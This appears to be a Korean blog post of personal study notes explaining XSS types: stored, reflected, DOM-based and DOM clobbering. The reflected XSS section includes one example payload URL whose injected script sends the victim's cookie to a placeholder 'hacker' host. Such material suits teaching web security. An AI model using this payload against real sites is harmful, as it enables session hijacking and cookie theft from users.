반응형
개념
- XSS(Cross-Site Scripting) 이란 웹 애플리케이션에서 일어나는 취약점으로 관리자가 아닌 권한이 없는 사용자가 웹 사이트에 스크립트를 삽입하는 공격
- 대부분 사용자가 글을 쓰고 읽을 수 있는 곳에서 많이 발생하며, 사용자의 입력 값을 웹 페이지에 보여주는 곳에서도 발생
- 악의적인 사용자가 *C&C 서버로 리다이렉션 하기 위해 리다이렉션 스크립트를 주입하여 중간 경유지로 활용하기도 하고, 사용자의 쿠키를 탈취하여 세션 하이재킹 공격을 수행
- *C&C(Command & Control) 서버 : 일반적으로 감염된 좀비 PC가 해커가 원하는 공격을 수행하도록 원격지에서 명령을 내리거나 악성코드를 제어하는 서버
공격 방법
Persistent(or Stored) XSS - 지속형(혹은 저장형) XSS 공격
- 해커는 웹 애플리케이션에서 XSS 취약점이 있는 곳을 파악하고, 악성 스크립트를 삽입
- 삽입된 스크립트는 데이터베이스에 저장, 저장된 악성 스크립트가 있는 게시글 등을 열람한 사용자들은 악성 스크립트가 작동하면서 쿠키 탈취나 다른 사이트로 리다이렉션 되는 공격을 받음
- 데이터 베이스에 저장이 되어 지속적으로 공격한다고 하여 Persistent XSS라고 부르며, 데이터베이스에 저장이 되므로 Stored XSS 공격이라고 부리기도 함
- 한번의 공격으로 악성 스크립트를 삽입하여 수많은 피해를 입힐 수 있다는 특징
Reflected XSS - 반사형 XSS 공격
- 사용자에게 입력 받은 값을 서버에서 되돌려 주는 곳에서 발생하는 공격
- 사용자에게 입력 받은 검색어를 그대로 보여주는 곳이나 사용자가 입력한 값을 에러 메세지에 포함하여 보여주는 곳에 악성 스크립트가 삽입되면, 서버가 사용자의 입력 값을 포함해 응답해 줄 때 스크립트가 실행
- 보통 이 공격은 공격자가 악의적인 스크립트와 함께 URL을 사용자에게 누르도록 유도하고, URL을 누른 사용자는 악의적인 스크립트가 실행되면서 공격당함
ex) http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>
- 검색 인자로 작성한 스크립트를 넘겨줌
- 해당 스크립트의 내용은 본인의 웹페이지로 URL을 클릭한 사용자의 쿠키 값이 전송되도록 됨
- 링크를 클릭한 사용자는 해커한테 본인의 의도와 상관없이 자신의 쿠키 값을 전송하게 됨
3. DOM based XSS - (Document Object Model) 기반 XSS 공격
- 악의적인 스크립트가 포함된 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에 발생하는 공격
- 악의적인 스크립트로 인해서 클라이언트 측 코드가 원래 의도와는 다르게 실행됨
- 다른 XSS 공격과는 다르게 서버 측에서 탐지가 어려움.
- 위에서 # 특수 문자는 # 이후의 값은 서버로 전송되지 않는 기능
4. DOM Clobbering XSS
- DOM은 HTML 요소들의 구조화된 표현임
- 사용자(Client)가 HTML을 수정할 수 있는 경우, 임의의 DOM 객체를 삽입하여 다른 객체를 삭제하거나 덮어쓰는 방식으로 변조하는 공격
- 일반적인 Stored XSS, Reflected XSS공격의 경우 HTTP Response에 악성 스크립트 구문이 포함되어 브라우저로 전달되지만, DOM based XSS의 경우 서버 응답에서 악성 스크립트 존재 여부를 감지할 수 없음
- 서버로부터 받는 HTTP Response에는 악성 스크립트가 존재하지 않지만 클라이언트 측 코드는 DOM Clobbering으로 인해 악성 스크립트가 실행될 수 있음
공격원리
- <a> 태그와 <area> 태그의 정확한 객체명은 HTMLHyperlinkElementUtils임.
- 이 객체의 특성 상, 해당 객체를 문자열화(to String)할 경우, href(URL)을 반환
- 즉, href속성에 URL이 존재할 때, <a> 태그에서 to String() 함수를 호출할 경우, a태그가 문자열(URL)로 반환
반응형
'웹 공부' 카테고리의 다른 글
RFI/LFI (0) | 2023.11.13 |
---|---|
SOP, CORS, CSP (0) | 2023.11.13 |
Node.js (0) | 2023.10.17 |
XML Http Request (0) | 2023.10.17 |
JS Callback, Async 함수 (0) | 2023.10.12 |